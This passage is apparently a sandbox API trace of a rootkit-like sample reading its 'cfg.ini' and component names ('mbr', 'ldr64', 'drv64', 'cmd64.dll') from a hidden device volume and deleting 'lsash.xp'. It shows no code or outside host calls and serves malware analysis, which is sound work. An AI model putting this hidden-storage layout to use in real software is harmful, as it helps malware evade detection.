Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.095] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.095] IdePortDispatch () returned 0x103 [0124.095] KeWaitForMutexObject () returned 0x0 [0124.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.096] KeLeaveCriticalRegion () [0124.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.096] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.096] KeEnterCriticalRegion () [0124.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.096] KeLeaveCriticalRegion () [0124.096] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.096] KeEnterCriticalRegion () [0124.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.096] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.096] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.096] KeLeaveCriticalRegion () [0124.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.097] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.097] KeEnterCriticalRegion () [0124.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.097] ExFreePoolWithTag (P=0xfffffa8003be2460, Tag=0x0) [0124.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.097] KeLeaveCriticalRegion () [0124.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.097] ReleaseMutex (hMutex=0xf0) returned 1 [0124.097] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.097] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.097] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.097] KeEnterCriticalRegion () [0124.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.097] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.097] IdePortDispatch () returned 0x103 [0124.097] KeWaitForMutexObject () returned 0x0 [0124.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.097] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.097] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.097] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.097] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.097] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef7a0 [0124.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.097] KeLeaveCriticalRegion () [0124.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.098] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.098] KeEnterCriticalRegion () [0124.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.098] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.098] KeLeaveCriticalRegion () [0124.098] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.098] KeEnterCriticalRegion () [0124.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.098] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.098] IdePortDispatch () returned 0x103 [0124.098] KeWaitForMutexObject () returned 0x0 [0124.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.098] KeLeaveCriticalRegion () [0124.098] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.098] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.098] KeEnterCriticalRegion () [0124.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.098] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dc000 [0124.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.098] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.098] IdePortDispatch () returned 0x103 [0124.099] KeWaitForMutexObject () returned 0x0 [0124.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.099] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.099] IdePortDispatch () returned 0x103 [0124.099] KeWaitForMutexObject () returned 0x0 [0124.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.099] KeLeaveCriticalRegion () [0124.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.100] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.100] KeEnterCriticalRegion () [0124.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.100] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.100] KeLeaveCriticalRegion () [0124.100] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.100] KeEnterCriticalRegion () [0124.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.100] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.100] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.100] KeLeaveCriticalRegion () [0124.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.100] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.100] KeEnterCriticalRegion () [0124.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.100] ExFreePoolWithTag (P=0xfffffa8003bef7a0, Tag=0x0) [0124.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.100] KeLeaveCriticalRegion () [0124.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.100] ReleaseMutex (hMutex=0xf0) returned 1 [0124.100] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.100] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.100] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.100] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.100] KeEnterCriticalRegion () [0124.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.101] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.101] IdePortDispatch () returned 0x103 [0124.101] KeWaitForMutexObject () returned 0x0 [0124.101] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.101] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.101] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.101] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.101] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.101] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.101] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.101] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.101] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.101] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.101] KeLeaveCriticalRegion () [0124.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.101] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.101] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.101] KeEnterCriticalRegion () [0124.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.101] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.101] IdePortDispatch () returned 0x103 [0124.102] KeWaitForMutexObject () returned 0x0 [0124.102] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.102] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.102] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.102] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.102] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.102] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.102] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.102] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.102] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.102] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.102] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.102] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.102] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.102] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.102] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.102] KeLeaveCriticalRegion () [0124.102] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.102] ReleaseMutex (hMutex=0x100) returned 1 [0124.102] Sleep (dwMilliseconds=0x2bf20) [0124.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d2c5350, dwHighDateTime=0x1d24fa4)) [0124.109] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.109] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.109] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.110] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.110] KeEnterCriticalRegion () [0124.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.110] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.110] IdePortDispatch () returned 0x103 [0124.110] KeWaitForMutexObject () returned 0x0 [0124.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.110] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.110] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.110] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.110] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.110] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befbc0 [0124.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.110] KeLeaveCriticalRegion () [0124.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.110] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.110] KeEnterCriticalRegion () [0124.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.110] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.110] KeLeaveCriticalRegion () [0124.110] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.110] KeEnterCriticalRegion () [0124.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.110] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.110] IdePortDispatch () returned 0x103 [0124.111] KeWaitForMutexObject () returned 0x0 [0124.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.111] KeLeaveCriticalRegion () [0124.111] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.111] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.111] KeEnterCriticalRegion () [0124.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034df000 [0124.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.111] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.111] IdePortDispatch () returned 0x103 [0124.111] KeWaitForMutexObject () returned 0x0 [0124.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.111] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.111] IdePortDispatch () returned 0x103 [0124.111] KeWaitForMutexObject () returned 0x0 [0124.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.112] KeLeaveCriticalRegion () [0124.112] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.113] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.113] KeEnterCriticalRegion () [0124.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.113] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.113] KeLeaveCriticalRegion () [0124.113] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.113] KeEnterCriticalRegion () [0124.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.113] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.113] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef650, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.113] KeLeaveCriticalRegion () [0124.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.113] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.113] KeEnterCriticalRegion () [0124.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.113] ExFreePoolWithTag (P=0xfffffa8003befbc0, Tag=0x0) [0124.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.113] KeLeaveCriticalRegion () [0124.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.113] ReleaseMutex (hMutex=0xf0) returned 1 [0124.114] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.114] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.114] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.114] KeEnterCriticalRegion () [0124.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.114] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.114] IdePortDispatch () returned 0x103 [0124.114] KeWaitForMutexObject () returned 0x0 [0124.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.114] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.114] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.114] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.114] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.114] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2660 [0124.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.114] KeLeaveCriticalRegion () [0124.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.114] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: 